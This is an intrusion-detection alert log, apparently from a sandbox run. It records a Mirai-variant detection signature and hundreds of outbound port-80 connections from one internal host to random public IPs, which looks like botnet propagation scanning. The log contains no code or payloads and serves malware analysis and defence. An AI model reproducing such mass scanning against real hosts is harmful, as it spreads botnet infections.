2025-01-30T10:43:42.098920+0100	2030092	1	Web Application Attack	192.168.2.14	32820	197.219.41.237	80	TCP
2025-01-30T10:43:42.102316+0100	2030092	1	Web Application Attack	192.168.2.14	35344	41.12.59.97	80	TCP
2025-01-30T10:43:42.102583+0100	2030092	1	Web Application Attack	192.168.2.14	35366	71.17.145.151	80	TCP
2025-01-30T10:43:42.852650+0100	2030092	1	Web Application Attack	192.168.2.14	40212	212.150.71.115	80	TCP
2025-01-30T10:43:43.096917+0100	2030092	1	Web Application Attack	192.168.2.14	55716	98.92.4.184	80	TCP
2025-01-30T10:43:43.096920+0100	2030092	1	Web Application Attack	192.168.2.14	58440	148.164.163.137	80	TCP
2025-01-30T10:43:43.096941+0100	2030092	1	Web Application Attack	192.168.2.14	34558	71.112.255.81	80	TCP
2025-01-30T10:43:43.097596+0100	2030092	1	Web Application Attack	192.168.2.14	37824	12.153.247.78	80	TCP
2025-01-30T10:43:43.112451+0100	2030092	1	Web Application Attack	192.168.2.14	49104	130.33.236.144	80	TCP
2025-01-30T10:43:43.112497+0100	2030092	1	Web Application Attack	192.168.2.14	49854	87.107.11.30	80	TCP
2025-01-30T10:43:43.113244+0100	2030092	1	Web Application Attack	192.168.2.14	38136	136.232.25.202	80	TCP
2025-01-30T10:43:43.113301+0100	2030092	1	Web Application Attack	192.168.2.14	45462	109.171.160.15	80	TCP
2025-01-30T10:43:43.114270+0100	2030092	1	Web Application Attack	192.168.2.14	52442	162.147.6.162	80	TCP
2025-01-30T10:43:43.114288+0100	2030092	1	Web Application Attack	192.168.2.14	34494	82.176.52.10	80	TCP
2025-01-30T10:43:43.115391+0100	2030092	1	Web Application Attack	192.168.2.14	39578	96.49.204.55	80	TCP
2025-01-30T10:43:43.116441+0100	2030092	1	Web Application Attack	192.168.2.14	54584	216.93.163.243	80	TCP
2025-01-30T10:43:43.128325+0100	2030092	1	Web Application Attack	192.168.2.14	43616	149.178.71.70	80	TCP
2025-01-30T10:43:43.128438+0100	2030092	1	Web Application Attack	192.168.2.14	40106	39.28.91.132	80	TCP
2025-01-30T10:43:43.132073+0100	2030092	1	Web Application Attack	192.168.2.14	33968	190.215.89.35	80	TCP
2025-01-30T10:43:43.132126+0100	2030092	1	Web Application Attack	192.168.2.14	48224	52.109.179.55	80	TCP
2025-01-30T10:43:43.133740+0100	2030092	1	Web Application Attack	192.168.2.14	36506	213.66.112.116	80	TCP
2025-01-30T10:43:43.134074+0100	2030092	1	Web Application Attack	192.168.2.14	34276	139.128.173.196	80	TCP
2025-01-30T10:43:43.135989+0100	2030092	1	Web Application Attack	192.168.2.14	41974	48.62.79.109	80	TCP
2025-01-30T10:43:43.149703+0100	2030092	1	Web Application Attack	192.168.2.14	42634	120.10.191.73	80	TCP
2025-01-30T10:43:43.150716+0100	2030092	1	Web Application Attack	192.168.2.14	35928	131.40.194.42	80	TCP
2025-01-30T10:43:44.144037+0100	2030092	1	Web Application Attack	192.168.2.14	44624	94.101.151.218	80	TCP
2025-01-30T10:43:45.143897+0100	2030092	1	Web Application Attack	192.168.2.14	60750	124.90.5.191	80	TCP
2025-01-30T10:43:45.165448+0100	2030092	1	Web Application Attack	192.168.2.14	35138	140.18.245.156	80	TCP
2025-01-30T10:43:46.192370+0100	2030092	1	Web Application Attack	192.168.2.14	48366	208.47.26.228	80	TCP
2025-01-30T10:43:46.208065+0100	2030092	1	Web Application Attack	192.168.2.14	37502	9.78.79.128	80	TCP
2025-01-30T10:43:46.221880+0100	2030092	1	Web Application Attack	192.168.2.14	41846	130.202.83.171	80	TCP
2025-01-30T10:43:47.208142+0100	2030092	1	Web Application Attack	192.168.2.14	36552	35.98.252.14	80	TCP
2025-01-30T10:43:47.227678+0100	2030092	1	Web Application Attack	192.168.2.14	60770	66.41.143.200	80	TCP
2025-01-30T10:43:47.227927+0100	2030092	1	Web Application Attack	192.168.2.14	53386	93.81.111.53	80	TCP
2025-01-30T10:43:47.245669+0100	2030092	1	Web Application Attack	192.168.2.14	35496	68.72.170.234	80	TCP
2025-01-30T10:43:48.190915+0100	2030092	1	Web Application Attack	192.168.2.14	33860	97.108.49.103	80	TCP
2025-01-30T10:43:48.192977+0100	2030092	1	Web Application Attack	192.168.2.14	50478	161.165.50.76	80	TCP
2025-01-30T10:43:48.206741+0100	2030092	1	Web Application Attack	192.168.2.14	37300	134.221.28.77	80	TCP
2025-01-30T10:43:48.206822+0100	2030092	1	Web Application Attack	192.168.2.14	45036	93.72.17.94	80	TCP
2025-01-30T10:43:48.208166+0100	2030092	1	Web Application Attack	192.168.2.14	58328	149.41.43.132	80	TCP
2025-01-30T10:43:48.208179+0100	2030092	1	Web Application Attack	192.168.2.14	44976	165.2.208.236	80	TCP
2025-01-30T10:43:48.208181+0100	2030092	1	Web Application Attack	192.168.2.14	55240	220.162.161.140	80	TCP
2025-01-30T10:43:48.208210+0100	2030092	1	Web Application Attack	192.168.2.14	46802	67.253.199.179	80	TCP
2025-01-30T10:43:48.210159+0100	2030092	1	Web Application Attack	192.168.2.14	59360	122.221.97.166	80	TCP
2025-01-30T10:43:48.210592+0100	2030092	1	Web Application Attack	192.168.2.14	55192	45.250.199.205	80	TCP
2025-01-30T10:43:48.210598+0100	2030092	1	Web Application Attack	192.168.2.14	55302	136.208.28.185	80	TCP
2025-01-30T10:43:48.210599+0100	2030092	1	Web Application Attack	192.168.2.14	59104	75.23.214.171	80	TCP
2025-01-30T10:43:48.210668+0100	2030092	1	Web Application Attack	192.168.2.14	53476	161.216.52.93	80	TCP
2025-01-30T10:43:48.212559+0100	2030092	1	Web Application Attack	192.168.2.14	59786	210.118.17.191	80	TCP
2025-01-30T10:43:48.212681+0100	2030092	1	Web Application Attack	192.168.2.14	58538	4.92.16.213	80	TCP
2025-01-30T10:43:48.214492+0100	2030092	1	Web Application Attack	192.168.2.14	44430	198.124.187.159	80	TCP
2025-01-30T10:43:48.223689+0100	2030092	1	Web Application Attack	192.168.2.14	45090	59.180.110.152	80	TCP
2025-01-30T10:43:48.224077+0100	2030092	1	Web Application Attack	192.168.2.14	59752	205.54.219.140	80	TCP
2025-01-30T10:43:48.228236+0100	2030092	1	Web Application Attack	192.168.2.14	37770	67.102.120.3	80	TCP
2025-01-30T10:43:49.222588+0100	2030092	1	Web Application Attack	192.168.2.14	35864	131.241.186.82	80	TCP
2025-01-30T10:43:49.222603+0100	2030092	1	Web Application Attack	192.168.2.14	46280	77.94.64.237	80	TCP
2025-01-30T10:43:49.222888+0100	2030092	1	Web Application Attack	192.168.2.14	34418	14.179.47.156	80	TCP
2025-01-30T10:43:49.223198+0100	2030092	1	Web Application Attack	192.168.2.14	57684	108.114.34.134	80	TCP
2025-01-30T10:43:49.223342+0100	2030092	1	Web Application Attack	192.168.2.14	33168	199.170.59.234	80	TCP
2025-01-30T10:43:49.224407+0100	2030092	1	Web Application Attack	192.168.2.14	41728	208.239.147.178	80	TCP
2025-01-30T10:43:49.224572+0100	2030092	1	Web Application Attack	192.168.2.14	58774	57.216.85.203	80	TCP
2025-01-30T10:43:49.224598+0100	2030092	1	Web Application Attack	192.168.2.14	54308	83.145.187.144	80	TCP
2025-01-30T10:43:49.226370+0100	2030092	1	Web Application Attack	192.168.2.14	40570	212.173.131.128	80	TCP
2025-01-30T10:43:49.226548+0100	2030092	1	Web Application Attack	192.168.2.14	55000	151.238.225.180	80	TCP
2025-01-30T10:43:49.230468+0100	2030092	1	Web Application Attack	192.168.2.14	53000	193.191.218.13	80	TCP
2025-01-30T10:43:49.242063+0100	2030092	1	Web Application Attack	192.168.2.14	35356	205.75.167.131	80	TCP
2025-01-30T10:43:49.242282+0100	2030092	1	Web Application Attack	192.168.2.14	53188	160.15.16.227	80	TCP
2025-01-30T10:43:49.243204+0100	2030092	1	Web Application Attack	192.168.2.14	36014	210.174.174.27	80	TCP
2025-01-30T10:43:49.243417+0100	2030092	1	Web Application Attack	192.168.2.14	47750	104.172.248.153	80	TCP
2025-01-30T10:43:50.222151+0100	2030092	1	Web Application Attack	192.168.2.14	34734	180.199.16.236	80	TCP
2025-01-30T10:43:50.237722+0100	2030092	1	Web Application Attack	192.168.2.14	46118	99.175.109.191	80	TCP
2025-01-30T10:43:50.237850+0100	2030092	1	Web Application Attack	192.168.2.14	42258	88.41.72.104	80	TCP
2025-01-30T10:43:50.237857+0100	2030092	1	Web Application Attack	192.168.2.14	43616	128.253.174.229	80	TCP
2025-01-30T10:43:50.238358+0100	2030092	1	Web Application Attack	192.168.2.14	53952	200.134.233.247	80	TCP
2025-01-30T10:43:50.238505+0100	2030092	1	Web Application Attack	192.168.2.14	51846	119.156.146.149	80	TCP
2025-01-30T10:43:50.239584+0100	2030092	1	Web Application Attack	192.168.2.14	53718	145.40.219.121	80	TCP
2025-01-30T10:43:50.239811+0100	2030092	1	Web Application Attack	192.168.2.14	36972	143.227.230.192	80	TCP
2025-01-30T10:43:50.241547+0100	2030092	1	Web Application Attack	192.168.2.14	38806	148.85.50.141	80	TCP
2025-01-30T10:43:50.241640+0100	2030092	1	Web Application Attack	192.168.2.14	45516	159.160.126.76	80	TCP
2025-01-30T10:43:50.267971+0100	2030092	1	Web Application Attack	192.168.2.14	59474	31.23.10.68	80	TCP
2025-01-30T10:43:50.268345+0100	2030092	1	Web Application Attack	192.168.2.14	51722	173.183.34.237	80	TCP
2025-01-30T10:43:50.268345+0100	2030092	1	Web Application Attack	192.168.2.14	45932	205.227.23.29	80	TCP
2025-01-30T10:43:50.272616+0100	2030092	1	Web Application Attack	192.168.2.14	58620	60.75.22.241	80	TCP
2025-01-30T10:43:50.274344+0100	2030092	1	Web Application Attack	192.168.2.14	41652	188.166.184.91	80	TCP
2025-01-30T10:43:50.277090+0100	2030092	1	Web Application Attack	192.168.2.14	44882	219.112.39.108	80	TCP
2025-01-30T10:43:50.278494+0100	2030092	1	Web Application Attack	192.168.2.14	42858	165.154.143.194	80	TCP
2025-01-30T10:43:50.278499+0100	2030092	1	Web Application Attack	192.168.2.14	44044	196.240.1.103	80	TCP
2025-01-30T10:43:51.269042+0100	2030092	1	Web Application Attack	192.168.2.14	59198	198.150.16.141	80	TCP
2025-01-30T10:43:51.270528+0100	2030092	1	Web Application Attack	192.168.2.14	54426	146.72.204.90	80	TCP
2025-01-30T10:43:51.271221+0100	2030092	1	Web Application Attack	192.168.2.14	40426	72.20.78.93	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-30T10:43:01.850594+0100	2029034	1	Web Application Attack	192.168.2.14	36320	103.213.214.129	80	TCP
2025-01-30T10:43:02.938607+0100	2029034	1	Web Application Attack	192.168.2.14	60104	23.12.102.222	80	TCP
2025-01-30T10:43:03.179684+0100	2029034	1	Web Application Attack	192.168.2.14	38638	117.44.222.92	443	TCP
2025-01-30T10:43:03.212617+0100	2029034	1	Web Application Attack	192.168.2.14	38712	200.209.40.223	80	TCP
2025-01-30T10:43:09.000586+0100	2029034	1	Web Application Attack	192.168.2.14	58678	71.61.126.160	80	TCP
2025-01-30T10:43:12.226942+0100	2029034	1	Web Application Attack	192.168.2.14	52636	101.69.104.147	80	TCP
2025-01-30T10:43:15.211961+0100	2029034	1	Web Application Attack	192.168.2.14	54300	117.252.34.247	443	TCP
2025-01-30T10:43:17.069115+0100	2029034	1	Web Application Attack	192.168.2.14	35008	164.92.235.252	80	TCP
2025-01-30T10:43:17.261945+0100	2029034	1	Web Application Attack	192.168.2.14	51982	112.29.209.167	80	TCP
2025-01-30T10:43:22.472239+0100	2029034	1	Web Application Attack	192.168.2.14	57974	133.153.249.33	80	TCP
2025-01-30T10:43:22.477129+0100	2029034	1	Web Application Attack	192.168.2.14	54456	73.211.22.163	80	TCP
2025-01-30T10:43:22.527598+0100	2029034	1	Web Application Attack	192.168.2.14	56906	120.23.138.222	80	TCP
2025-01-30T10:43:22.534050+0100	2029034	1	Web Application Attack	192.168.2.14	48872	89.9.237.196	80	TCP
2025-01-30T10:43:22.583002+0100	2029034	1	Web Application Attack	192.168.2.14	38736	154.164.115.164	80	TCP
2025-01-30T10:43:22.599136+0100	2029034	1	Web Application Attack	192.168.2.14	56414	124.170.78.40	80	TCP
2025-01-30T10:43:22.651334+0100	2029034	1	Web Application Attack	192.168.2.14	54482	130.219.127.143	80	TCP
2025-01-30T10:43:22.690246+0100	2029034	1	Web Application Attack	192.168.2.14	37028	196.3.191.224	80	TCP
2025-01-30T10:43:22.695971+0100	2029034	1	Web Application Attack	192.168.2.14	33986	70.171.35.104	80	TCP
2025-01-30T10:43:22.706073+0100	2029034	1	Web Application Attack	192.168.2.14	33624	198.151.162.206	80	TCP
2025-01-30T10:43:22.727093+0100	2029034	1	Web Application Attack	192.168.2.14	50112	149.247.70.10	80	TCP
2025-01-30T10:43:22.738923+0100	2029034	1	Web Application Attack	192.168.2.14	45876	161.80.48.54	80	TCP
2025-01-30T10:43:22.739214+0100	2029034	1	Web Application Attack	192.168.2.14	57840	95.58.145.95	80	TCP
2025-01-30T10:43:22.770707+0100	2029034	1	Web Application Attack	192.168.2.14	48034	14.190.218.71	80	TCP
2025-01-30T10:43:22.774352+0100	2029034	1	Web Application Attack	192.168.2.14	50440	90.64.6.63	80	TCP
2025-01-30T10:43:22.800468+0100	2029034	1	Web Application Attack	192.168.2.14	32818	57.162.48.58	80	TCP
2025-01-30T10:43:22.802527+0100	2029034	1	Web Application Attack	192.168.2.14	60270	155.198.4.108	80	TCP
2025-01-30T10:43:22.803869+0100	2029034	1	Web Application Attack	192.168.2.14	56900	76.228.178.139	80	TCP
2025-01-30T10:43:22.805489+0100	2029034	1	Web Application Attack	192.168.2.14	43418	104.250.231.48	80	TCP
2025-01-30T10:43:22.985075+0100	2029034	1	Web Application Attack	192.168.2.14	47488	152.30.184.113	80	TCP
2025-01-30T10:43:23.503583+0100	2029034	1	Web Application Attack	192.168.2.14	42018	72.103.254.195	80	TCP
2025-01-30T10:43:23.505478+0100	2029034	1	Web Application Attack	192.168.2.14	46950	17.43.38.50	80	TCP
2025-01-30T10:43:23.520605+0100	2029034	1	Web Application Attack	192.168.2.14	44864	71.52.157.180	80	TCP
2025-01-30T10:43:23.553529+0100	2029034	1	Web Application Attack	192.168.2.14	53886	41.102.78.109	80	TCP
2025-01-30T10:43:23.569765+0100	2029034	1	Web Application Attack	192.168.2.14	34110	218.142.171.47	80	TCP
2025-01-30T10:43:23.600311+0100	2029034	1	Web Application Attack	192.168.2.14	51166	140.69.154.1	80	TCP
2025-01-30T10:43:23.643580+0100	2029034	1	Web Application Attack	192.168.2.14	41030	64.30.33.55	80	TCP
2025-01-30T10:43:23.678461+0100	2029034	1	Web Application Attack	192.168.2.14	37070	66.84.50.216	80	TCP
2025-01-30T10:43:23.723178+0100	2029034	1	Web Application Attack	192.168.2.14	37928	126.245.114.212	80	TCP
2025-01-30T10:43:23.730511+0100	2029034	1	Web Application Attack	192.168.2.14	55542	196.131.224.189	80	TCP
2025-01-30T10:43:23.757082+0100	2029034	1	Web Application Attack	192.168.2.14	32880	63.179.229.61	80	TCP
2025-01-30T10:43:23.765160+0100	2029034	1	Web Application Attack	192.168.2.14	49872	59.7.81.28	80	TCP
2025-01-30T10:43:23.801878+0100	2029034	1	Web Application Attack	192.168.2.14	45982	20.190.13.119	80	TCP
2025-01-30T10:43:23.802036+0100	2029034	1	Web Application Attack	192.168.2.14	41712	107.102.56.208	80	TCP
2025-01-30T10:43:23.815217+0100	2029034	1	Web Application Attack	192.168.2.14	58598	109.161.22.103	80	TCP
2025-01-30T10:43:23.836491+0100	2029034	1	Web Application Attack	192.168.2.14	57588	192.36.128.195	80	TCP
2025-01-30T10:43:23.838641+0100	2029034	1	Web Application Attack	192.168.2.14	38984	8.228.23.204	80	TCP
2025-01-30T10:43:24.598754+0100	2029034	1	Web Application Attack	192.168.2.14	43082	196.67.103.186	80	TCP
2025-01-30T10:43:24.599489+0100	2029034	1	Web Application Attack	192.168.2.14	45324	161.25.237.43	80	TCP
2025-01-30T10:43:25.520625+0100	2029034	1	Web Application Attack	192.168.2.14	34998	202.122.36.255	80	TCP
2025-01-30T10:43:25.554029+0100	2029034	1	Web Application Attack	192.168.2.14	53248	101.30.234.47	80	TCP
2025-01-30T10:43:25.581758+0100	2029034	1	Web Application Attack	192.168.2.14	37920	167.95.37.105	80	TCP
2025-01-30T10:43:25.582895+0100	2029034	1	Web Application Attack	192.168.2.14	41936	202.158.129.118	80	TCP
2025-01-30T10:43:25.614536+0100	2029034	1	Web Application Attack	192.168.2.14	60116	13.31.53.69	80	TCP
2025-01-30T10:43:25.676485+0100	2029034	1	Web Application Attack	192.168.2.14	40142	124.155.57.184	80	TCP
2025-01-30T10:43:25.678352+0100	2029034	1	Web Application Attack	192.168.2.14	52798	18.170.17.66	80	TCP
2025-01-30T10:43:25.768454+0100	2029034	1	Web Application Attack	192.168.2.14	33274	202.243.9.93	80	TCP
2025-01-30T10:43:25.770576+0100	2029034	1	Web Application Attack	192.168.2.14	44670	206.244.102.161	80	TCP
2025-01-30T10:43:25.785754+0100	2029034	1	Web Application Attack	192.168.2.14	45120	119.27.8.73	80	TCP
2025-01-30T10:43:25.802231+0100	2029034	1	Web Application Attack	192.168.2.14	51028	135.121.243.76	80	TCP
2025-01-30T10:43:25.815630+0100	2029034	1	Web Application Attack	192.168.2.14	39098	91.92.249.234	80	TCP
2025-01-30T10:43:25.848194+0100	2029034	1	Web Application Attack	192.168.2.14	41976	32.243.4.33	80	TCP
2025-01-30T10:43:25.850335+0100	2029034	1	Web Application Attack	192.168.2.14	49098	219.124.101.191	80	TCP
2025-01-30T10:43:25.901481+0100	2029034	1	Web Application Attack	192.168.2.14	34930	50.174.166.7	80	TCP
2025-01-30T10:43:26.447815+0100	2029034	1	Web Application Attack	192.168.2.14	40154	103.172.236.139	80	TCP
2025-01-30T10:43:28.792874+0100	2029034	1	Web Application Attack	192.168.2.14	51598	211.63.227.161	80	TCP
2025-01-30T10:43:28.897372+0100	2029034	1	Web Application Attack	192.168.2.14	56316	86.228.157.254	80	TCP
2025-01-30T10:43:28.937458+0100	2029034	1	Web Application Attack	192.168.2.14	33456	113.2.250.15	80	TCP
2025-01-30T10:43:28.942224+0100	2029034	1	Web Application Attack	192.168.2.14	46994	164.58.176.234	80	TCP
2025-01-30T10:43:29.497036+0100	2029034	1	Web Application Attack	192.168.2.14	50534	137.132.80.203	80	TCP
2025-01-30T10:43:29.893638+0100	2029034	1	Web Application Attack	192.168.2.14	57600	46.194.105.28	80	TCP
2025-01-30T10:43:29.893758+0100	2029034	1	Web Application Attack	192.168.2.14	33700	213.166.156.152	80	TCP
2025-01-30T10:43:29.893786+0100	2029034	1	Web Application Attack	192.168.2.14	44592	82.95.255.220	80	TCP
2025-01-30T10:43:29.893860+0100	2029034	1	Web Application Attack	192.168.2.14	34748	40.39.22.91	80	TCP
2025-01-30T10:43:29.893874+0100	2029034	1	Web Application Attack	192.168.2.14	39344	106.111.211.33	80	TCP
2025-01-30T10:43:29.894105+0100	2029034	1	Web Application Attack	192.168.2.14	35452	69.220.86.47	80	TCP
2025-01-30T10:43:29.894991+0100	2029034	1	Web Application Attack	192.168.2.14	60262	176.40.25.167	80	TCP
2025-01-30T10:43:29.895019+0100	2029034	1	Web Application Attack	192.168.2.14	43814	67.162.169.69	80	TCP
2025-01-30T10:43:29.895029+0100	2029034	1	Web Application Attack	192.168.2.14	46152	140.38.79.111	80	TCP
2025-01-30T10:43:29.895323+0100	2029034	1	Web Application Attack	192.168.2.14	49888	25.106.63.88	80	TCP
2025-01-30T10:43:29.895395+0100	2029034	1	Web Application Attack	192.168.2.14	46934	111.185.169.137	80	TCP
2025-01-30T10:43:29.895531+0100	2029034	1	Web Application Attack	192.168.2.14	49450	208.22.142.137	80	TCP
2025-01-30T10:43:29.895667+0100	2029034	1	Web Application Attack	192.168.2.14	45986	116.146.162.253	80	TCP
2025-01-30T10:43:29.895967+0100	2029034	1	Web Application Attack	192.168.2.14	58796	145.226.147.93	80	TCP
2025-01-30T10:43:29.896054+0100	2029034	1	Web Application Attack	192.168.2.14	59460	63.123.128.167	80	TCP
2025-01-30T10:43:29.896109+0100	2029034	1	Web Application Attack	192.168.2.14	42056	99.52.36.64	80	TCP
2025-01-30T10:43:29.896294+0100	2029034	1	Web Application Attack	192.168.2.14	57202	104.234.182.98	80	TCP
2025-01-30T10:43:29.896296+0100	2029034	1	Web Application Attack	192.168.2.14	50418	159.173.59.75	80	TCP
2025-01-30T10:43:29.896445+0100	2029034	1	Web Application Attack	192.168.2.14	49212	111.171.81.116	80	TCP
2025-01-30T10:43:29.896579+0100	2029034	1	Web Application Attack	192.168.2.14	34888	135.136.191.113	80	TCP
2025-01-30T10:43:29.896967+0100	2029034	1	Web Application Attack	192.168.2.14	49380	153.78.202.93	80	TCP
2025-01-30T10:43:29.898313+0100	2029034	1	Web Application Attack	192.168.2.14	35364	86.12.127.77	80	TCP
2025-01-30T10:43:29.899979+0100	2029034	1	Web Application Attack	192.168.2.14	46900	216.35.1.242	80	TCP
2025-01-30T10:43:29.900111+0100	2029034	1	Web Application Attack	192.168.2.14	39102	131.125.12.195	80	TCP
2025-01-30T10:43:29.901065+0100	2029034	1	Web Application Attack	192.168.2.14	45290	111.106.104.90	80	TCP
2025-01-30T10:43:29.912960+0100	2029034	1	Web Application Attack	192.168.2.14	59464	97.108.248.57	80	TCP
2025-01-30T10:43:29.913003+0100	2029034	1	Web Application Attack	192.168.2.14	55186	155.79.148.101	80	TCP
2025-01-30T10:43:29.914582+0100	2029034	1	Web Application Attack	192.168.2.14	36284	68.138.249.105	80	TCP
2025-01-30T10:43:29.914997+0100	2029034	1	Web Application Attack	192.168.2.14	46078	118.14.191.105	80	TCP
2025-01-30T10:43:29.916780+0100	2029034	1	Web Application Attack	192.168.2.14	36334	51.121.157.167	80	TCP
2025-01-30T10:43:31.924840+0100	2029034	1	Web Application Attack	192.168.2.14	33008	176.169.106.94	80	TCP
2025-01-30T10:43:31.925040+0100	2029034	1	Web Application Attack	192.168.2.14	47466	122.13.196.224	80	TCP
2025-01-30T10:43:31.925620+0100	2029034	1	Web Application Attack	192.168.2.14	58282	74.171.106.18	80	TCP
2025-01-30T10:43:31.926889+0100	2029034	1	Web Application Attack	192.168.2.14	40064	54.213.244.240	80	TCP
2025-01-30T10:43:31.927656+0100	2029034	1	Web Application Attack	192.168.2.14	47102	181.254.228.55	80	TCP
2025-01-30T10:43:31.928555+0100	2029034	1	Web Application Attack	192.168.2.14	58638	109.75.255.126	80	TCP
2025-01-30T10:43:32.909344+0100	2029034	1	Web Application Attack	192.168.2.14	51344	210.33.198.143	80	TCP
2025-01-30T10:43:32.925157+0100	2029034	1	Web Application Attack	192.168.2.14	51854	158.45.248.238	80	TCP
2025-01-30T10:43:32.925272+0100	2029034	1	Web Application Attack	192.168.2.14	39324	157.66.26.133	80	TCP
2025-01-30T10:43:32.926916+0100	2029034	1	Web Application Attack	192.168.2.14	45788	209.240.8.31	80	TCP
2025-01-30T10:43:32.940706+0100	2029034	1	Web Application Attack	192.168.2.14	51210	13.41.23.98	80	TCP
2025-01-30T10:43:32.941233+0100	2029034	1	Web Application Attack	192.168.2.14	57318	133.0.82.188	80	TCP
2025-01-30T10:43:32.942622+0100	2029034	1	Web Application Attack	192.168.2.14	41914	79.66.242.179	80	TCP
2025-01-30T10:43:32.942728+0100	2029034	1	Web Application Attack	192.168.2.14	39244	107.143.239.88	80	TCP
2025-01-30T10:43:32.942936+0100	2029034	1	Web Application Attack	192.168.2.14	50562	92.185.193.235	80	TCP
2025-01-30T10:43:32.943364+0100	2029034	1	Web Application Attack	192.168.2.14	36158	17.53.148.118	80	TCP
2025-01-30T10:43:32.944508+0100	2029034	1	Web Application Attack	192.168.2.14	45462	161.177.19.110	80	TCP
2025-01-30T10:43:32.944729+0100	2029034	1	Web Application Attack	192.168.2.14	51194	183.49.180.198	80	TCP
2025-01-30T10:43:32.944790+0100	2029034	1	Web Application Attack	192.168.2.14	40946	136.9.224.154	80	TCP
2025-01-30T10:43:32.946016+0100	2029034	1	Web Application Attack	192.168.2.14	50350	103.15.169.120	80	TCP
2025-01-30T10:43:32.946090+0100	2029034	1	Web Application Attack	192.168.2.14	41976	39.80.51.83	80	TCP
2025-01-30T10:43:32.948118+0100	2029034	1	Web Application Attack	192.168.2.14	40172	89.132.129.138	80	TCP
2025-01-30T10:43:32.958268+0100	2029034	1	Web Application Attack	192.168.2.14	59892	204.56.228.160	80	TCP
2025-01-30T10:43:32.962011+0100	2029034	1	Web Application Attack	192.168.2.14	35150	69.97.231.242	80	TCP
2025-01-30T10:43:32.962384+0100	2029034	1	Web Application Attack	192.168.2.14	51594	213.22.86.216	80	TCP
2025-01-30T10:43:32.962457+0100	2029034	1	Web Application Attack	192.168.2.14	36790	24.165.61.194	80	TCP
2025-01-30T10:43:34.957043+0100	2029034	1	Web Application Attack	192.168.2.14	48628	65.141.2.74	80	TCP
2025-01-30T10:43:34.958102+0100	2029034	1	Web Application Attack	192.168.2.14	57718	77.229.16.194	80	TCP
2025-01-30T10:43:34.979729+0100	2029034	1	Web Application Attack	192.168.2.14	34742	106.197.42.7	80	TCP
2025-01-30T10:43:36.154129+0100	2029034	1	Web Application Attack	192.168.2.14	34472	112.148.199.5	80	TCP
2025-01-30T10:43:36.993698+0100	2029034	1	Web Application Attack	192.168.2.14	53454	98.144.159.93	80	TCP
2025-01-30T10:43:37.003165+0100	2029034	1	Web Application Attack	192.168.2.14	53380	99.28.145.48	80	TCP
2025-01-30T10:43:37.450832+0100	2029034	1	Web Application Attack	192.168.2.14	47798	18.221.7.224	80	TCP
2025-01-30T10:43:37.715994+0100	2029034	1	Web Application Attack	192.168.2.14	59222	212.85.59.165	80	TCP
2025-01-30T10:43:37.972211+0100	2029034	1	Web Application Attack	192.168.2.14	38486	73.64.225.250	80	TCP
2025-01-30T10:43:37.972224+0100	2029034	1	Web Application Attack	192.168.2.14	51886	114.131.138.28	80	TCP
2025-01-30T10:43:37.972231+0100	2029034	1	Web Application Attack	192.168.2.14	37630	37.71.144.222	80	TCP
2025-01-30T10:43:37.987499+0100	2029034	1	Web Application Attack	192.168.2.14	48548	114.227.81.99	80	TCP
2025-01-30T10:43:37.987501+0100	2029034	1	Web Application Attack	192.168.2.14	60396	121.157.234.15	80	TCP
2025-01-30T10:43:37.987571+0100	2029034	1	Web Application Attack	192.168.2.14	33760	124.87.65.15	80	TCP
2025-01-30T10:43:37.988125+0100	2029034	1	Web Application Attack	192.168.2.14	35644	165.165.57.60	80	TCP
2025-01-30T10:43:37.988125+0100	2029034	1	Web Application Attack	192.168.2.14	51844	91.86.172.154	80	TCP
2025-01-30T10:43:37.989017+0100	2029034	1	Web Application Attack	192.168.2.14	54374	86.69.46.198	80	TCP
2025-01-30T10:43:37.989087+0100	2029034	1	Web Application Attack	192.168.2.14	38200	203.169.27.126	80	TCP
2025-01-30T10:43:37.993284+0100	2029034	1	Web Application Attack	192.168.2.14	42830	199.135.106.136	80	TCP
2025-01-30T10:43:38.003143+0100	2029034	1	Web Application Attack	192.168.2.14	50106	32.240.138.191	80	TCP
2025-01-30T10:43:38.003424+0100	2029034	1	Web Application Attack	192.168.2.14	35936	169.80.201.173	80	TCP
2025-01-30T10:43:38.003583+0100	2029034	1	Web Application Attack	192.168.2.14	33994	84.208.1.101	80	TCP
2025-01-30T10:43:38.003986+0100	2029034	1	Web Application Attack	192.168.2.14	49648	57.43.246.87	80	TCP
2025-01-30T10:43:38.004115+0100	2029034	1	Web Application Attack	192.168.2.14	58540	172.219.37.233	80	TCP
2025-01-30T10:43:38.004751+0100	2029034	1	Web Application Attack	192.168.2.14	59770	167.129.217.66	80	TCP
2025-01-30T10:43:38.004966+0100	2029034	1	Web Application Attack	192.168.2.14	51336	98.134.70.113	80	TCP
2025-01-30T10:43:38.005284+0100	2029034	1	Web Application Attack	192.168.2.14	49734	86.55.248.215	80	TCP
2025-01-30T10:43:38.006734+0100	2029034	1	Web Application Attack	192.168.2.14	47690	71.90.180.190	80	TCP
2025-01-30T10:43:38.006810+0100	2029034	1	Web Application Attack	192.168.2.14	35028	197.85.104.233	80	TCP
2025-01-30T10:43:38.007062+0100	2029034	1	Web Application Attack	192.168.2.14	42458	186.142.7.42	80	TCP
2025-01-30T10:43:38.008657+0100	2029034	1	Web Application Attack	192.168.2.14	43172	27.58.7.60	80	TCP
2025-01-30T10:43:38.008949+0100	2029034	1	Web Application Attack	192.168.2.14	51700	111.67.180.251	80	TCP
2025-01-30T10:43:38.009226+0100	2029034	1	Web Application Attack	192.168.2.14	47128	134.239.180.253	80	TCP
2025-01-30T10:43:38.009576+0100	2029034	1	Web Application Attack	192.168.2.14	55752	206.47.186.128	80	TCP
2025-01-30T10:43:38.009609+0100	2029034	1	Web Application Attack	192.168.2.14	59166	50.171.166.111	80	TCP
2025-01-30T10:43:38.010589+0100	2029034	1	Web Application Attack	192.168.2.14	56200	158.29.113.80	80	TCP
2025-01-30T10:43:38.907923+0100	2029034	1	Web Application Attack	192.168.2.14	33952	166.217.206.166	80	TCP
2025-01-30T10:43:39.050022+0100	2029034	1	Web Application Attack	192.168.2.14	49726	95.78.120.226	80	TCP
2025-01-30T10:43:40.018699+0100	2029034	1	Web Application Attack	192.168.2.14	44684	187.131.184.148	80	TCP
2025-01-30T10:43:40.050038+0100	2029034	1	Web Application Attack	192.168.2.14	46614	66.189.124.58	80	TCP
2025-01-30T10:43:40.065660+0100	2029034	1	Web Application Attack	192.168.2.14	51968	149.30.119.250	80	TCP
2025-01-30T10:43:40.065817+0100	2029034	1	Web Application Attack	192.168.2.14	50604	162.132.54.19	80	TCP
